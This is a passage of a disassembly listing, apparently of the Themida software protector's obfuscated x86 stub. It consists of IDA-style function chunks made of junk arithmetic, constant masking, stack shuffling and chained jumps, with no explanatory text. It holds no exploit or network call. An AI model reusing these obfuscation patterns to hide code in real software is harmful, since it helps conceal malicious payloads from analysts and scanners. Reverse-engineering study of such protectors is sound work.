		sub	ecx, 4
		jmp	loc_5A07E5
; END OF FUNCTION CHUNK	FOR sub_59EB21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1076


loc_5AAF98:				; CODE XREF: sub_5A1076-9D1j
		add	eax, edx
		jmp	loc_598E02
; END OF FUNCTION CHUNK	FOR sub_5A1076
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5AAF9F:				; CODE XREF: sub_5AC95F+980j
		xchg	ebp, [esp+0Ch+var_C]
		jmp	loc_5AE374
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A932


loc_5AAFA7:				; CODE XREF: sub_59A932+BAA7j
		jmp	loc_5A03B5
; END OF FUNCTION CHUNK	FOR sub_59A932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D16


loc_5AAFAC:				; CODE XREF: Themida_:005A7C2Fj
					; sub_598D16+15C9Dj
		mov	[esp+10h+var_10], edi
		push	edx
		push	ebp
		mov	ebp, 581771AFh
		push	ecx
		mov	ecx, 3E5C4D5Bh
		not	ecx
		jmp	loc_59D0F3
; END OF FUNCTION CHUNK	FOR sub_598D16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597F0C


loc_5AAFC3:				; CODE XREF: sub_597F0C+84EDj
		pop	esp
		mov	ax, word ptr [esp+10h+var_10]
		push	3FADh
		mov	[esp+14h+var_14], edi
		jmp	loc_59A309
; END OF FUNCTION CHUNK	FOR sub_597F0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABF4A


loc_5AAFD5:				; CODE XREF: sub_5ABF4A-DC5Bj
		add	ecx, 4
		xchg	ecx, [esp+4+var_4]
		pop	esp
		push	edi
		sub	[esp+4+var_4], 277E56C8h
		pop	esi
		add	esi, 277E56C8h
		jmp	loc_5A3D78
; END OF FUNCTION CHUNK	FOR sub_5ABF4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597F0C


loc_5AAFF3:				; CODE XREF: sub_597F0C+E834j
		mov	eax, ebp
		jmp	loc_59C5C9
; END OF FUNCTION CHUNK	FOR sub_597F0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ACEC


loc_5AAFFA:				; CODE XREF: sub_59ACEC+9AFDj
		xor	ebx, 2F2707F3h
		jmp	loc_5A1F20
; END OF FUNCTION CHUNK	FOR sub_59ACEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A02EA


loc_5AB005:				; CODE XREF: sub_5A02EA+DE8Dj
		mov	ebx, [esp+4+var_4]
		jmp	loc_5AE31C
; END OF FUNCTION CHUNK	FOR sub_5A02EA
; ---------------------------------------------------------------------------


loc_5AB00D:				; CODE XREF: Themida_:005A6AEAj
		xchg	ebp, edx
		pop	ebp
		jmp	loc_5A261F
; ---------------------------------------------------------------------------


loc_5AB015:				; CODE XREF: Themida_:0059BFF5j
		or	ebx, 26D22340h
		shl	ebx, 6
		xor	ebx, 52215E1Dh
		push	ecx
		mov	ecx, 1AF67C71h
		dec	ecx
		jmp	loc_5A938E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A58AC


loc_5AB030:				; CODE XREF: sub_5A58AC-1355j
		or	eax, 29C43D9Eh
		push	esi
		mov	esi, 5AFB07F3h
		sub	eax, esi
		pop	esi
		jmp	loc_5AC435
; END OF FUNCTION CHUNK	FOR sub_5A58AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB1B1


loc_5AB043:				; CODE XREF: sub_5AB1B1+3j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		mov	[esp-4+arg_0], ebx
		xor	[esp-4+arg_0], 275338C2h
		mov	eax, [esp-4+arg_0]
		push	esi
		jmp	loc_599C64
; END OF FUNCTION CHUNK	FOR sub_5AB1B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_5AB068:				; CODE XREF: sub_5A1B2A+993Aj
		pop	edx
		xor	ecx, 0EF2D0C39h
		sub	ebp, ecx
		pop	ecx
		pop	edi
		and	eax, ebp
		mov	ebp, [esp-0Ah+arg_6]
		add	esp, 4
		or	eax, eax
		jz	sub_5AB1B1
		push	dword ptr [edi+1Ch]
		push	[esp-0Ah+arg_6]
		push	[esp-6+arg_0+2]
		pop	ecx
		add	esp, 4
		push	4602h
		mov	[esp-6+arg_0+2], ebx
		push	3A9Dh
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+2+var_4+2]
		mov	esp, [esp+2+var_4+2]
		mov	[esp+2+var_4+2], esp
		jmp	loc_598258
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5986D6


loc_5AB0BA:				; CODE XREF: sub_5986D6+4D6Dj
		mov	ah, bh
		push	[esp+0Ch+var_C]
		pop	ebx
		add	esp, 4
		mov	ch, ah
		pop	eax
		jmp	loc_5A8D7E
; END OF FUNCTION CHUNK	FOR sub_5986D6

; =============== S U B	R O U T	I N E =======================================



sub_5AB0CE	proc near		; CODE XREF: sub_59CA4A-2998j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059AA2F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059D491 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059FB1D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A9E88 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AB43F SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005AE133 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005AED88 SIZE 00000011 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edx
		mov	edx, 7F61806h
		push	esi
		mov	esi, 7CE81D29h
		neg	esi
		xor	esi, 84E1FAD5h
		sub	edx, esi
		jmp	loc_59D491
sub_5AB0CE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D67


loc_5AB0F1:				; CODE XREF: sub_598D67+A347j
		push	[esp+4+var_4]
		pop	edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		xor	ebp, [esp+8+var_8]
		jmp	loc_5A3E74
; END OF FUNCTION CHUNK	FOR sub_598D67
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5AB10F:				; CODE XREF: sub_5AC95F+137Aj
		push	edx
		mov	edx, esp
		jmp	loc_5A459F
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------


loc_5AB117:				; CODE XREF: Themida_:loc_5A6D32j
		shr	ecx, 2
		js	loc_5AB45C
		xor	ecx, 11FB0949h
		mov	esi, ecx
		jmp	loc_5A5876
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_5AB12D:				; CODE XREF: sub_5A1B2A+D032j
		mov	esp, [esp+2+var_4+2]
		ror	word ptr [esp+2+var_4+2], cl
		pushf
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------


loc_5AB13A:				; CODE XREF: Themida_:005A6D51j
		mov	esi, edx
		pop	edx
		sub	esi, 0FE2BE30h
		mov	edi, esi
		mov	esi, [esp]
		add	esp, 4
		push	ebp
		push	ecx
		mov	ecx, 0EC88B644h
		jmp	loc_59A948
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5AB157:				; CODE XREF: sub_5A8D43-F736j
		dec	esi
		sub	esi, 3E286959h
		sub	ecx, esi
		jmp	loc_59E0C8
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A932


loc_5AB165:				; CODE XREF: sub_59A932+5C4Dj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp-0Ch+arg_8]
		pop	esp
		sub	esp, 4
		mov	[esp-0Ch+arg_8], eax
		push	esp
		mov	eax, [esp-8+arg_4]
		add	esp, 4
		push	3B02h
		mov	[esp-8+arg_4], esi
		jmp	loc_59F551
; END OF FUNCTION CHUNK	FOR sub_59A932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEE2E


loc_5AB192:				; CODE XREF: sub_5AEE2E-1DFCj
		mov	ebx, 2C021823h
		add	esi, ebx
		pop	ebx
		sub	esi, ecx
		sub	esi, 2C021823h
		mov	ecx, [esp+0]
		add	esp, 4
		add	[edi+24h], esi
		mov	esi, [esp-4+arg_0]
		add	esp, 4
; END OF FUNCTION CHUNK	FOR sub_5AEE2E

; =============== S U B	R O U T	I N E =======================================



sub_5AB1B1	proc near		; CODE XREF: sub_5A1B2A+9553j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00599C64 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A5415 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005A6E66 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A9384 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005AB043 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005AC6CC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AE7B8 SIZE 00000006 BYTES

		push	ebx
		mov	ebx, esp
		jmp	loc_5AB043
sub_5AB1B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_5AB1B9	proc near		; DATA XREF: Themida_:0059797Co

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005A0A79 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A4FC1 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005A57AA SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A5C07 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 005A6FAA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A7578 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005ABF65 SIZE 0000002B BYTES

		push	dword ptr [esp+0]
		pop	eax
		jmp	loc_5A57AA
sub_5AB1B9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5AB1C2:				; CODE XREF: sub_5AC95F-D7BEj
		add	esp, 4
		add	esp, 4
		jmp	loc_5A7A7C
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_5AB1D0:				; CODE XREF: sub_59C53B+11DA9j
		mov	edi, ecx
		jmp	sub_597F0C
; END OF FUNCTION CHUNK	FOR sub_59C53B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD830


loc_5AB1D7:				; CODE XREF: sub_5AD830:loc_5AD1B9j
		sub	ebx, 0C73A52C5h
		and	ebx, 5FBE66E7h
		shl	ebx, 2
		jmp	loc_5AC0DF
; END OF FUNCTION CHUNK	FOR sub_5AD830
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC402


loc_5AB1EB:				; CODE XREF: sub_5AC402-CD52j
		or	dl, 24h
		jnz	loc_5AEDE6
		xor	dl, 0A4h
		push	ebx
		mov	bh, 56h
		jmp	loc_59EC6E
; END OF FUNCTION CHUNK	FOR sub_5AC402
; ---------------------------------------------------------------------------
		pop	ebx
		push	ecx
		push	edi
		push	eax


loc_5AB203:				; CODE XREF: Themida_:00598D9Dj
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		jmp	loc_5AADD5
; ---------------------------------------------------------------------------


loc_5AB221:				; CODE XREF: Themida_:0059BC8Bj
		and	ebx, 72AB7129h
		add	ebx, 7078772Dh
		jmp	loc_59FF25
; ---------------------------------------------------------------------------


loc_5AB232:				; CODE XREF: Themida_:005A9F46j
		add	eax, ebx
		mov	ebx, [esp]
		push	ebp
		push	esp
		jmp	loc_5A722B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59AE49


loc_5AB23E:				; CODE XREF: sub_59AE49-2171j
		mov	ebx, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp-4+arg_0], eax
		mov	eax, 34B675F6h
		shr	eax, 4
		jmp	loc_5A1705
; END OF FUNCTION CHUNK	FOR sub_59AE49
; ---------------------------------------------------------------------------


loc_5AB254:				; CODE XREF: Themida_:005A64A1j
		pop	edi
		push	edx
		mov	edx, 10A121B7h
		xor	edx, 5D3C236Ah
		jmp	loc_5A31DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5AB266:				; CODE XREF: sub_59B707+A63Aj
		add	edx, 32273B60h
		xor	edx, 5726C159h
		add	ecx, edx
		pop	edx
		pop	edx
		add	ebp, ecx
		mov	ecx, [esp+10h+var_10]
		add	esp, 4
		sub	ebp, 4
		jmp	loc_5A67BE
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------


loc_5AB289:				; CODE XREF: Themida_:005AC228j
		push	25D94C66h
		pop	ebp
		sub	ebp, 0BFC50B23h
		mov	ecx, ebp
		pop	ebp
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_59C3B6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ACEC


loc_5AB2A5:				; CODE XREF: sub_59ACEC+12159j
		add	edx, 43BF5C58h
		pop	esi
		push	dword ptr [esp+0]
		pop	ecx
		add	esp, 4
		xor	edi, edx
		mov	edx, [esp-4+arg_0]
		add	esp, 4
		push	36BBh
		mov	[esp-4+arg_0], ebp
		mov	ebp, 61C6362Dh
		push	esi
		jmp	loc_598B5B
; END OF FUNCTION CHUNK	FOR sub_59ACEC
; ---------------------------------------------------------------------------


loc_5AB2D1:				; CODE XREF: Themida_:005A4351j
		xor	ecx, 4BCB0449h
		jmp	loc_59BE71
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5AB2DC:				; CODE XREF: Themida_:005A180Fj
					; sub_599059+8AB7j ...
		mov	edi, [esp-6+arg_0+2]
		add	esp, 4
		push	ebx
		push	4
		mov	ebx, [esp+0]
		jmp	loc_5A1A78
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE40


loc_5AB2F3:				; CODE XREF: sub_5ABE52-12215j
					; sub_59EE40-4C54j
		xor	ebp, 1E6178C5h
		shr	ebp, 1
		neg	ebp
		jmp	loc_59E468
; END OF FUNCTION CHUNK	FOR sub_59EE40
; ---------------------------------------------------------------------------


loc_5AB302:				; CODE XREF: Themida_:005AD9C7j
		xor	esi, [esp]
		jmp	loc_59C5D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEE2E


loc_5AB30A:				; CODE XREF: sub_5AEE2E-10794j
		pop	eax
		xor	al, dl
		push	[esp-0Ch+arg_8]
		pop	edx
		add	esp, 4
		push	small 288Ch
		mov	word ptr [esp-0Eh+arg_8+2], dx
		jmp	loc_59F7D5
; END OF FUNCTION CHUNK	FOR sub_5AEE2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F20F


loc_5AB324:				; CODE XREF: sub_59F20F+BB7Fj
		mov	[esp+8+var_8], esi
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_5A3C68
; END OF FUNCTION CHUNK	FOR sub_59F20F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A932


loc_5AB339:				; CODE XREF: sub_59A932+7EB7j
		push	edi
		push	edx
		push	64CE67A6h
		pop	edx
		jmp	loc_5A1540
; END OF FUNCTION CHUNK	FOR sub_59A932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D180


loc_5AB346:				; CODE XREF: sub_59D180-4850j
		mov	esi, 91B78BCFh
		jmp	loc_5A6251
; END OF FUNCTION CHUNK	FOR sub_59D180
; ---------------------------------------------------------------------------


loc_5AB350:				; CODE XREF: Themida_:005ACEADj
		pop	esi
		push	ecx
		mov	ecx, esp
		push	edi
		mov	edi, 4
		add	ecx, edi
		jmp	loc_5A6DF1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A799C


loc_5AB361:				; CODE XREF: sub_5A799C+2j
		push	eax
		mov	al, 57h
		jmp	loc_5983EA
; END OF FUNCTION CHUNK	FOR sub_5A799C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_5AB369:				; CODE XREF: sub_5ACD64-AF01j
		xor	ebx, [esp-4+arg_0]
		pop	esp
		add	ebx, eax
		pop	eax
		add	esi, ebx
		mov	ebx, [esp-0Ch+arg_8]
		add	esp, 4
		jmp	loc_5A61F4
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5AB380:				; CODE XREF: sub_5A8D43+2F78j
		push	edi
		mov	edi, 4
		add	ebp, edi
		jmp	loc_5A8FFB
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5AB38D:				; CODE XREF: sub_5AC95F-12DFDj
		mov	al, ch
		pop	ecx
		jmp	loc_5A1B69
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5AB395:				; CODE XREF: sub_5A8C33-F3E2j
		push	ecx
		push	34307E79h
		jmp	loc_59E1C6
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------


loc_5AB3A0:				; CODE XREF: Themida_:0059D355j
		shl	ecx, 8
		jmp	loc_59FE69
; ---------------------------------------------------------------------------


loc_5AB3A8:				; CODE XREF: Themida_:005A3D54j
		dec	ebx
		sub	ebx, 0FFFFFFFFh
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 40A77F8h
		jmp	loc_5A7CD4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_5AB3C2:				; CODE XREF: sub_5A7343-BEF0j
		pop	ecx
		add	eax, esi
		jmp	loc_59F8A1
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8F00


loc_5AB3CA:				; CODE XREF: sub_5A8F00-88CCj
		or	ebp, 28161D36h
		js	sub_59852D
		push	edx
		jmp	loc_5AF08B
; END OF FUNCTION CHUNK	FOR sub_5A8F00

; =============== S U B	R O U T	I N E =======================================



sub_5AB3DC	proc near		; CODE XREF: sub_5AACA7-D3D5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00597BD0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00598132 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005985F0 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005986F7 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005996C8 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00599BD1 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0059AFE3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059B905 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059D2E5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059D39E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059D86E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059DE43 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059F22C SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0059F8A1 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059F8F8 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A040B SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A1448 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A1814 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A1D2C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A1DE6 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A2948 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A30F2 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A3417 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005A47FA SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A5CA7 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A645B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A69DB SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A7ED9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A9481 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A96AB SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AA36D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AB724 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005AB7AB SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005AC1F4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AC680 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005AD2BA SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005ADFA4 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005AEEB3 SIZE 0000000D BYTES

		push	ebx
		mov	ebx, 6CB26E12h
		shr	ebx, 6
		push	edi
		mov	edi, 42196727h
		neg	edi
		and	edi, 3214479Ch
		and	edi, 18C5D5Fh
		and	edi, 67DA33A3h
		and	edi, 1CA107F5h
		push	ecx
		mov	ecx, 0A19E1370h
		jmp	loc_5A69DB
sub_5AB3DC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE0B5


loc_5AB410:				; CODE XREF: sub_5AE0B5-FBD2j
		sub	ebp, 4
		xchg	ebp, [esp+8+var_8]
		pop	esp
		jmp	loc_5A3F09
; END OF FUNCTION CHUNK	FOR sub_5AE0B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FFBE


loc_5AB41F:				; CODE XREF: sub_59FFBE-6E32j
		jno	loc_5A3029
		xor	esi, 0BFA7FFDBh
		mov	edx, esi
		push	[esp-0Ch+arg_8]
		mov	esi, ecx
		push	[esp-8+arg_4]
		push	[esp-4+arg_0]
		pop	eax
		push	eax
		jmp	loc_5A7BFA
; END OF FUNCTION CHUNK	FOR sub_59FFBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB0CE


loc_5AB43F:				; CODE XREF: sub_5AB0CE-1069Aj
		sub	eax, 62737BE4h
		add	eax, 22765C87h
		pop	edx
		add	eax, 4
		jmp	sub_5A99FA
; END OF FUNCTION CHUNK	FOR sub_5AB0CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_5AB454:				; CODE XREF: sub_5ACD64-E57j
		mov	[esp-10h+arg_C], ebp
		jmp	loc_5AA731
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_5AB45C:				; CODE XREF: Themida_:005AB11Aj
					; sub_5A1B2A+AEFEj
		push	edx
		mov	edx, 4F2A5A8Fh
		sub	ecx, edx
		jmp	loc_5AB068
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5AB469:				; CODE XREF: sub_59B707+12371j
		push	4
		jmp	loc_5A1918
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_5AB473:				; CODE XREF: sub_5A7343-5957j
		add	[esp+1Eh+var_1E], 6B974051h
		pop	esi
		sub	esi, 6B974051h
		pop	edx
		xor	esi, 1D397AC7h
		add	ebp, esi
		pop	esi
		push	ebp
		push	dword ptr [esp+4]
		push	[esp+1Ah+var_1A]
		pop	ebp
		sub	esp, 4
		mov	[esp+1Eh+var_1E], edi
		jmp	loc_5A7EE6
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C342


loc_5AB49F:				; CODE XREF: sub_59C342+31DAj
		push	ecx
		mov	ecx, 5F0E6748h
		sub	ebx, ecx
		jmp	loc_5A0923
; END OF FUNCTION CHUNK	FOR sub_59C342
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59AE49


loc_5AB4AC:				; CODE XREF: sub_59AE49+A9DDj
		and	edi, 52201223h
		js	loc_5A42F2
		push	edx
		mov	edx, 7AF27F10h
		sub	edx, 7E61313Dh
		inc	edx
		shr	edx, 1
		add	edx, 1
		inc	edx
		add	edx, 7B55620Ch
		add	edi, edx
		jmp	loc_5AE64A
; END OF FUNCTION CHUNK	FOR sub_59AE49
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACC65


loc_5AB4D8:				; CODE XREF: sub_5ACC65+6j
		pop	ebp
		jmp	loc_5A9345
; END OF FUNCTION CHUNK	FOR sub_5ACC65
; ---------------------------------------------------------------------------


loc_5AB4DE:				; CODE XREF: Themida_:00599504j
		pop	ebx
		add	eax, ecx
		pop	ecx
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		push	dword ptr [esp]
		mov	eax, [esp]
		push	5863h
		jmp	loc_59873D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A438E


loc_5AB4FC:				; CODE XREF: sub_5A438E+54D6j
		add	ebx, edx
		pop	edx
		sub	ebx, ecx
		sub	ebx, 543F78AAh
		push	67FDh
		jmp	loc_5A73FA
; END OF FUNCTION CHUNK	FOR sub_5A438E

; =============== S U B	R O U T	I N E =======================================



sub_5AB511	proc near		; CODE XREF: sub_599EF7+27D1j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059BE2A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A0DC8 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A7B29 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A84B5 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A86EC SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AB7FF SIZE 00000008 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5A86EC
sub_5AB511	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598462


loc_5AB524:				; CODE XREF: sub_598462+2EAEj
		push	eax
		mov	al, 38h
		shl	al, 3
		dec	al
		jmp	loc_5989E6
; END OF FUNCTION CHUNK	FOR sub_598462

; =============== S U B	R O U T	I N E =======================================



sub_5AB531	proc near		; CODE XREF: sub_597F0C+2A8Bj

var_4		= dword	ptr -4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00597C50 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00599354 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 0059CA7C SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0059F0FE SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059F8D6 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A0E2D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A480F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A4D55 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A86C8 SIZE 0000000B BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		mov	ecx, 51727AF8h
		jmp	loc_59CA7C
sub_5AB531	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1076


loc_5AB544:				; CODE XREF: sub_5A1076-1E4Fj
					; sub_59B707+1201Bj
		sub	edi, 0FFFFFFFFh
		sub	edi, 1
		not	edi
		neg	edi
		add	edi, 0FF7DFF73h
		add	eax, 46B2170Bh
		sub	eax, edi
		push	ebx
		mov	ebx, 46B2170Bh
		sub	eax, ebx
		pop	ebx
		pop	edi
		jmp	loc_59B322
; END OF FUNCTION CHUNK	FOR sub_5A1076
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD8C7


loc_5AB56D:				; CODE XREF: sub_5AD8C7-5F30j
		pop	edi
		xor	ebx, [esp+8+var_8]
		xor	[esp+8+var_8], ebx
		xor	ebx, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		add	ecx, 3D213DFh
		jmp	loc_5AE21A
; END OF FUNCTION CHUNK	FOR sub_5AD8C7
; ---------------------------------------------------------------------------


loc_5AB585:				; CODE XREF: Themida_:0059DED4j
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		jmp	loc_598CB0
; ---------------------------------------------------------------------------


loc_5AB597:				; CODE XREF: Themida_:005AE183j
		push	ebx
		mov	ebx, 7C526FACh
		mov	esi, ebx
		pop	ebx
		shl	esi, 1
		shl	esi, 8
		jmp	loc_5A1A3B
